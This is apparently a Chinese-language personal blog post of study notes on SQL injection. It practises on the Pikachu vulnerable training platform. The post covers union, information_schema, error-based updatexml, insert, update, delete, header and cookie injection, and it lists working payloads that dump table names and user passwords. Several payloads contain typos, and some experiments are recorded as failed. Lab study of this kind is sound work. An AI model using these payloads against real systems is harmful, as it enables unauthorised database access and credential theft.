sql注入

注入分类

1.数字型注入

2.字符型注入

3.搜索性注入

4.xx型注入

 

注入提交方式

ASP:request(全部接受)、request.querystring(接受get)、request.form(接受post)、request.cookie cookie(接受cookie)

PHP:$_REQUEST(全部接受)、$_GET(接受get)、$_POST(接受post)、$_COOKIE(接受cookie)

 

注入攻击方式:

主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等

 

 

1、union注入

在pikachu漏洞平台示例

在搜索性查询中,首先确认查询返回的字段,可用order by来进行确认

输入  v' order by 4# 得到如下结果

 

 输入 v' order by 3# 得到如下结果(说明该查询返回三个字段值,可以利用此漏洞获得你想要的三个字段值)

 

 

使用union查询真正需要的数据

 

 

 

 

 

 

 2、information_schema注入

information_schema数据库是MySQL数据库系统自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。使用order by来判断查询的字段,先找出数据库的名称(v' union select database(),user(),3# ),判断数据库名为pikachu。

 

获取pikachu数据库的表名:

v' union select table_schema,table_name,3 from information_schema where table_schema='pikachu'#

 

 

获取users表中的字段名

v' union select table_name,column_name,3 from information_schema.columns where table_name='users' #

 

 

 

查询表中字段名

v' union select username,password,3 from users#

 

 

 

 

 3、基于函数报错注入

 一:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的值,常见的select/insert/update注入都可以使用报错方式来获取信息

 

二:背景条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

 

三:基于报错的信息获取(三个常用的用来报错的函数):

updatexml():函数是MySQL对xml文档数据进行查询和修改的xpath函数;

extractvalue():函数是MySQL对xml文档数据进行查询的xpath函数;

floor():MySQL中用来取整的函数;

四:基于报错的信息获取

UPDATEXML(XML_document,XPath_string,new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(XPath格式的字符串),如果不了解Xpath语法,可以再网上查找教程

第三个参数:new_value,String格式,替换查找到的符合条件的数据

实战测试:

1.爆数据库版本信息

v' and updatexml(1,concat(1,concat(0x7e,(SELECT @@version),0x7e),1)#

2.爆数据库当前用户

v' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3.爆数据库

v' and updatexml(1,concat(0x7e,(SELECT database(),0x7e),1)#

4.爆表

获取数据库表名:v' and updatexml(1,concat(0x7e,(select table_name from infomation_schema.tables where table_schema='pikachu')),0)#

但是会报错,反馈错误表示只能显示一行,所以采用limit来一行行显示

正确示范:v' and updatexml(1,concat(0x7e,(select table_name from infomation_schema.tables where table_schema='pikachu' limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历

5.爆字段

获取字段名:v' and updatexml(1,concat(0x7e,(select column_name from infomation_schema.columns where table_name='users' limit 2,1)),0)#

6.爆字段内容

获取字段内容:v' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

 

返回结果为连接参数产生的字符串,如有任何一个参数为null,则返回值为null。

通过查询@@version,返回版本,然后concat将其字符串化,因为updatexml第二个参数需要xpath格式的字符串,所以不符合要求,然后报错

 

 

4、insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做纺SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

 

进入网站注册页面,填写网站注册相关信息,通过burp抓包在用户名输入相关payload,格式如下:

users' or updatexml(1,concat(0x7e,(命令)),0) or'

1.爆表名

users' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0 or'

2.爆列名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 2,1)),0) or'

3.爆内容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

 

 

5、update注入(与insert注入大体相同)

注意:若burp中报错,有可能是插入代码空格报错,将代码进行特殊字符编码即可

 

6、delete注入

一般应用于前后端发帖、留言、用户等相关操作,点击删除按钮时可通过burp抓包,对数据包相关delete参数进行注入,注入方法如下:

delete from message where id = 56 or updatexml(2,concat(0x7e,(database())),0)

在留言板的删除按钮处复制链接地址

 

 

 

 

在复制好的链接地址处拼接代码如下:

 

 

 

 

 

7、Http Header注入

现在pikachu平台打开Http Header注入模块,点击提示查看登录账号和密码,登录后去BurpSuit中找到登录的GET请求,把请求发送到Request模块中,去除User-Agent:,然后输入 ' 然后运行观察MySQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload,在User-Agent输入payload Mozilla ' or updatexml(1,concat(0x7e,database()),0) or '

实验失败,以后成功了再放过程图

 

 8、Cookie注入

Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都会对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在ant[uname]=admin 后添加一个 ' 观察反馈的MySQL的语法报错,发现了存在SQL注入漏洞,再设置payload 'and updatexml(1,concat(0x7e,database()),0)#,观察报错和之前是否相同。

同上,实验失败,图候补

 

 

 

9、盲注(布尔型盲注和时间型盲注)

手工方法过于麻烦,等以后直接用工具,故……略

 

10、宽字节注入

大概就是将单引号从  ' --------->%df'

不过……实验失败,心态炸裂

 

posted @ 2020-03-22 09:58  终末少女的旅行  阅读(140)  评论(0)    收藏  举报